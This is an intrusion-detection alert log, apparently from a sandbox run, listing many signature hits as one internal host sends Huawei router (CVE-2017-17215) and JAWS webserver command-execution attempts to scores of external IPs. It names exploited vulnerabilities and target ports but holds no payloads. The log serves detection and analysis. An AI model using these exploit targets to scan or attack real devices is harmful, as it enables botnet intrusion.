ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.100.172

Timestamp:	192.168.2.23156.235.100.17232952372152835222 07/11/22-01:03:26.334667
SID:	2835222
Source Port:	32952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.82.126.5

Timestamp:	192.168.2.2313.82.126.550836802030092 07/11/22-01:03:04.160385
SID:	2030092
Source Port:	50836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.65.234

Timestamp:	192.168.2.23156.254.65.23459404372152835222 07/11/22-01:04:06.683031
SID:	2835222
Source Port:	59404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.20.168.235

Timestamp:	192.168.2.23104.20.168.23536710802030092 07/11/22-01:03:40.061797
SID:	2030092
Source Port:	36710
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.27.67

Timestamp:	192.168.2.23156.226.27.6743320372152835222 07/11/22-01:03:15.811876
SID:	2835222
Source Port:	43320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.164.218.237

Timestamp:	192.168.2.23107.164.218.23758716802030092 07/11/22-01:03:02.319968
SID:	2030092
Source Port:	58716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.123.105

Timestamp:	192.168.2.2341.78.123.10535614372152835222 07/11/22-01:03:22.303774
SID:	2835222
Source Port:	35614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.16.228.52

Timestamp:	192.168.2.23112.16.228.5258524802030092 07/11/22-01:03:40.125666
SID:	2030092
Source Port:	58524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.232.185.173

Timestamp:	192.168.2.2346.232.185.17337242802030092 07/11/22-01:04:00.556985
SID:	2030092
Source Port:	37242
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.230.136.58

Timestamp:	192.168.2.2341.230.136.5857340372152835222 07/11/22-01:03:06.245862
SID:	2835222
Source Port:	57340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.134.230.184

Timestamp:	192.168.2.2391.134.230.18446914802030092 07/11/22-01:03:34.017123
SID:	2030092
Source Port:	46914
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.62.62.152

Timestamp:	192.168.2.23198.62.62.15233088802030092 07/11/22-01:03:23.567112
SID:	2030092
Source Port:	33088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.136.12.233

Timestamp:	192.168.2.2345.136.12.23344346802030092 07/11/22-01:03:30.242037
SID:	2030092
Source Port:	44346
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.21.187.114

Timestamp:	192.168.2.2377.21.187.11442846802030092 07/11/22-01:03:57.128269
SID:	2030092
Source Port:	42846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.80.114.98

Timestamp:	192.168.2.23116.80.114.9842232802030092 07/11/22-01:02:32.628580
SID:	2030092
Source Port:	42232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.94.244.238

Timestamp:	192.168.2.2323.94.244.23848522802030092 07/11/22-01:02:20.479530
SID:	2030092
Source Port:	48522
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.46.55.220

Timestamp:	192.168.2.23164.46.55.22051100802030092 07/11/22-01:04:04.565152
SID:	2030092
Source Port:	51100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.85.86.224

Timestamp:	192.168.2.23178.85.86.22458104802030092 07/11/22-01:04:09.036381
SID:	2030092
Source Port:	58104
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.89.39.96

Timestamp:	192.168.2.2352.89.39.9659472802030092 07/11/22-01:02:20.499082
SID:	2030092
Source Port:	59472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.116.232.180

Timestamp:	192.168.2.23104.116.232.18040860802030092 07/11/22-01:03:42.379242
SID:	2030092
Source Port:	40860
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.37.34.211

Timestamp:	192.168.2.231.37.34.21149518802030092 07/11/22-01:02:33.773766
SID:	2030092
Source Port:	49518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.77.200.147

Timestamp:	192.168.2.2351.77.200.14749976802030092 07/11/22-01:02:38.683333
SID:	2030092
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 221.189.238.153

Timestamp:	192.168.2.23221.189.238.15348172802030092 07/11/22-01:03:44.242040
SID:	2030092
Source Port:	48172
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.34.29.121

Timestamp:	192.168.2.2386.34.29.12157846802030092 07/11/22-01:02:14.155753
SID:	2030092
Source Port:	57846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.214.132.107

Timestamp:	192.168.2.2385.214.132.10746422802030092 07/11/22-01:03:06.906194
SID:	2030092
Source Port:	46422
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.76.210.148

Timestamp:	192.168.2.23104.76.210.14845780802030092 07/11/22-01:04:13.730714
SID:	2030092
Source Port:	45780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.98.115

Timestamp:	192.168.2.23156.226.98.11552138372152835222 07/11/22-01:03:03.647243
SID:	2835222
Source Port:	52138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.214.167.126

Timestamp:	192.168.2.23154.214.167.12655704802030092 07/11/22-01:03:01.361462
SID:	2030092
Source Port:	55704
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.37.2.48

Timestamp:	192.168.2.23197.37.2.4856912802030092 07/11/22-01:02:45.905282
SID:	2030092
Source Port:	56912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 183.232.185.156

Timestamp:	192.168.2.23183.232.185.15646018802030092 07/11/22-01:03:56.738487
SID:	2030092
Source Port:	46018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.241.191.218

Timestamp:	192.168.2.23176.241.191.21838196802030092 07/11/22-01:03:58.218178
SID:	2030092
Source Port:	38196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.163.101.136

Timestamp:	192.168.2.23118.163.101.13645088802030092 07/11/22-01:03:55.660469
SID:	2030092
Source Port:	45088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.169.16.172

Timestamp:	192.168.2.23149.169.16.17244662802030092 07/11/22-01:03:23.831264
SID:	2030092
Source Port:	44662
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.84.11.100

Timestamp:	192.168.2.2384.84.11.10042636802030092 07/11/22-01:03:27.014854
SID:	2030092
Source Port:	42636
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.178.144.222

Timestamp:	192.168.2.2380.178.144.22250856802030092 07/11/22-01:02:51.159586
SID:	2030092
Source Port:	50856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.160.45.234

Timestamp:	192.168.2.23217.160.45.23446652802030092 07/11/22-01:02:38.703374
SID:	2030092
Source Port:	46652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.185.227.253

Timestamp:	192.168.2.2335.185.227.25349940802030092 07/11/22-01:03:36.824726
SID:	2030092
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.103.142.218

Timestamp:	192.168.2.23186.103.142.21833566802030092 07/11/22-01:04:13.962919
SID:	2030092
Source Port:	33566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.86.217.115

Timestamp:	192.168.2.2399.86.217.11544612802030092 07/11/22-01:02:46.619489
SID:	2030092
Source Port:	44612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.174.167.15

Timestamp:	192.168.2.23201.174.167.1558732802030092 07/11/22-01:03:27.199493
SID:	2030092
Source Port:	58732
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.53.91.244

Timestamp:	192.168.2.23185.53.91.24434852802030092 07/11/22-01:03:31.152713
SID:	2030092
Source Port:	34852
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.189.101.51

Timestamp:	192.168.2.23178.189.101.5144582802030092 07/11/22-01:02:31.179567
SID:	2030092
Source Port:	44582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.100.0.132

Timestamp:	192.168.2.2347.100.0.13239050802030092 07/11/22-01:02:20.618223
SID:	2030092
Source Port:	39050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.52.196.238

Timestamp:	192.168.2.2351.52.196.23842320802030092 07/11/22-01:04:14.906979
SID:	2030092
Source Port:	42320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.0.93.116

Timestamp:	192.168.2.23148.0.93.11647712802030092 07/11/22-01:02:23.416710
SID:	2030092
Source Port:	47712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.174.178.185

Timestamp:	192.168.2.2354.174.178.18557918802030092 07/11/22-01:03:37.347964
SID:	2030092
Source Port:	57918
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.65.219

Timestamp:	192.168.2.23156.241.65.21947126372152835222 07/11/22-01:02:50.396103
SID:	2835222
Source Port:	47126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.223.194.67

Timestamp:	192.168.2.23116.223.194.6745078802030092 07/11/22-01:03:33.189146
SID:	2030092
Source Port:	45078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.25.143.14

Timestamp:	192.168.2.23104.25.143.1458642802030092 07/11/22-01:03:50.897145
SID:	2030092
Source Port:	58642
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.129.121

Timestamp:	192.168.2.23197.246.129.12144862372152835222 07/11/22-01:03:36.646366
SID:	2835222
Source Port:	44862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.24.205

Timestamp:	192.168.2.23156.224.24.20552950372152835222 07/11/22-01:03:55.667131
SID:	2835222
Source Port:	52950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.31.85.85

Timestamp:	192.168.2.23184.31.85.8540964802030092 07/11/22-01:03:33.943281
SID:	2030092
Source Port:	40964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.29.230.101

Timestamp:	192.168.2.23184.29.230.10140782802030092 07/11/22-01:03:57.090621
SID:	2030092
Source Port:	40782
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.248.67.200

Timestamp:	192.168.2.23143.248.67.20050794802030092 07/11/22-01:03:56.266900
SID:	2030092
Source Port:	50794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.217.210.64

Timestamp:	192.168.2.2323.217.210.6451262802030092 07/11/22-01:02:27.141316
SID:	2030092
Source Port:	51262
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 166.78.75.34

Timestamp:	192.168.2.23166.78.75.3446072802030092 07/11/22-01:03:13.522610
SID:	2030092
Source Port:	46072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.16.228.52

Timestamp:	192.168.2.23112.16.228.5258526802030092 07/11/22-01:03:40.127568
SID:	2030092
Source Port:	58526
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.205.33.8

Timestamp:	192.168.2.2323.205.33.856500802030092 07/11/22-01:02:56.151044
SID:	2030092
Source Port:	56500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.159.225.117

Timestamp:	192.168.2.23108.159.225.11741934802030092 07/11/22-01:03:33.992320
SID:	2030092
Source Port:	41934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.94.255

Timestamp:	192.168.2.23156.226.94.25552528372152835222 07/11/22-01:03:59.690953
SID:	2835222
Source Port:	52528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.64.212.36

Timestamp:	192.168.2.23104.64.212.3649926802030092 07/11/22-01:02:40.871154
SID:	2030092
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.138.7.26

Timestamp:	192.168.2.23216.138.7.2632952802030092 07/11/22-01:04:03.070801
SID:	2030092
Source Port:	32952
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.114.247

Timestamp:	192.168.2.23156.244.114.24737208372152835222 07/11/22-01:03:40.835981
SID:	2835222
Source Port:	37208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.14.72.236

Timestamp:	192.168.2.23162.14.72.23652500802030092 07/11/22-01:04:01.595837
SID:	2030092
Source Port:	52500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.10.231.77

Timestamp:	192.168.2.2323.10.231.7735576802030092 07/11/22-01:03:05.667824
SID:	2030092
Source Port:	35576
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.233.193.138

Timestamp:	192.168.2.23120.233.193.13834864802030092 07/11/22-01:03:51.138104
SID:	2030092
Source Port:	34864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.34.19

Timestamp:	192.168.2.23156.226.34.1939712372152835222 07/11/22-01:02:57.664129
SID:	2835222
Source Port:	39712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.253.252.145

Timestamp:	192.168.2.23104.253.252.14555366802030092 07/11/22-01:03:43.400934
SID:	2030092
Source Port:	55366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.218.217.73

Timestamp:	192.168.2.23216.218.217.7352994802030092 07/11/22-01:04:00.968105
SID:	2030092
Source Port:	52994
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.24.5.49

Timestamp:	192.168.2.23104.24.5.4947450802030092 07/11/22-01:02:38.700862
SID:	2030092
Source Port:	47450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.46.64.193

Timestamp:	192.168.2.23193.46.64.19346596802030092 07/11/22-01:03:38.366953
SID:	2030092
Source Port:	46596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.247.65.137

Timestamp:	192.168.2.23172.247.65.13746672802030092 07/11/22-01:03:40.726881
SID:	2030092
Source Port:	46672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.64.89.53

Timestamp:	192.168.2.23154.64.89.5356618802030092 07/11/22-01:02:42.172089
SID:	2030092
Source Port:	56618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.67.92.253

Timestamp:	192.168.2.2318.67.92.25339382802030092 07/11/22-01:04:00.629604
SID:	2030092
Source Port:	39382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.26.219.243

Timestamp:	192.168.2.2338.26.219.24348928802030092 07/11/22-01:04:09.169157
SID:	2030092
Source Port:	48928
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.197.162.229

Timestamp:	192.168.2.23163.197.162.22943334802030092 07/11/22-01:02:50.113178
SID:	2030092
Source Port:	43334
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.238.137.228

Timestamp:	192.168.2.23202.238.137.22856658802030092 07/11/22-01:03:19.646128
SID:	2030092
Source Port:	56658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.3.250.58

Timestamp:	192.168.2.2350.3.250.5845536802030092 07/11/22-01:02:38.310633
SID:	2030092
Source Port:	45536
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.99.162

Timestamp:	192.168.2.23156.244.99.16232960372152835222 07/11/22-01:03:23.205743
SID:	2835222
Source Port:	32960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 65.121.69.83

Timestamp:	192.168.2.2365.121.69.8342626802030092 07/11/22-01:03:01.435742
SID:	2030092
Source Port:	42626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.22.114.156

Timestamp:	192.168.2.23154.22.114.15640092802030092 07/11/22-01:04:13.787638
SID:	2030092
Source Port:	40092
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.78.84.161

Timestamp:	192.168.2.23104.78.84.16142194802030092 07/11/22-01:03:19.449304
SID:	2030092
Source Port:	42194
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.17.77.8

Timestamp:	192.168.2.2396.17.77.846844802030092 07/11/22-01:02:21.268083
SID:	2030092
Source Port:	46844
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.4.58.229

Timestamp:	192.168.2.2323.4.58.22955344802030092 07/11/22-01:03:59.750124
SID:	2030092
Source Port:	55344
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.0.186.245

Timestamp:	192.168.2.23173.0.186.24536556802030092 07/11/22-01:04:08.142824
SID:	2030092
Source Port:	36556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.101.199.78

Timestamp:	192.168.2.2389.101.199.7833192802030092 07/11/22-01:03:24.088959
SID:	2030092
Source Port:	33192
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.14.92.28

Timestamp:	192.168.2.23128.14.92.2851554802030092 07/11/22-01:02:50.105945
SID:	2030092
Source Port:	51554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.105.28.213

Timestamp:	192.168.2.23104.105.28.21344832802030092 07/11/22-01:04:01.554416
SID:	2030092
Source Port:	44832
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.196.253.3

Timestamp:	192.168.2.2381.196.253.340014802030092 07/11/22-01:04:01.079113
SID:	2030092
Source Port:	40014
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.186.200.37

Timestamp:	192.168.2.23107.186.200.3743714802030092 07/11/22-01:03:04.332756
SID:	2030092
Source Port:	43714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.234.28.134

Timestamp:	192.168.2.2345.234.28.13453384802030092 07/11/22-01:04:13.955051
SID:	2030092
Source Port:	53384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.118.59

Timestamp:	192.168.2.23156.226.118.5938744372152835222 07/11/22-01:03:15.817877
SID:	2835222
Source Port:	38744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.91.27.104

Timestamp:	192.168.2.23154.91.27.10460638802030092 07/11/22-01:03:50.483447
SID:	2030092
Source Port:	60638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.230.162.141

Timestamp:	192.168.2.2354.230.162.14134002802030092 07/11/22-01:03:15.387440
SID:	2030092
Source Port:	34002
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.185.126.223

Timestamp:	192.168.2.23185.185.126.22337402802030092 07/11/22-01:03:11.044380
SID:	2030092
Source Port:	37402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 187.85.73.189

Timestamp:	192.168.2.23187.85.73.18943488802030092 07/11/22-01:03:52.172952
SID:	2030092
Source Port:	43488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.67.6.156

Timestamp:	192.168.2.23104.67.6.15636026802030092 07/11/22-01:04:14.964795
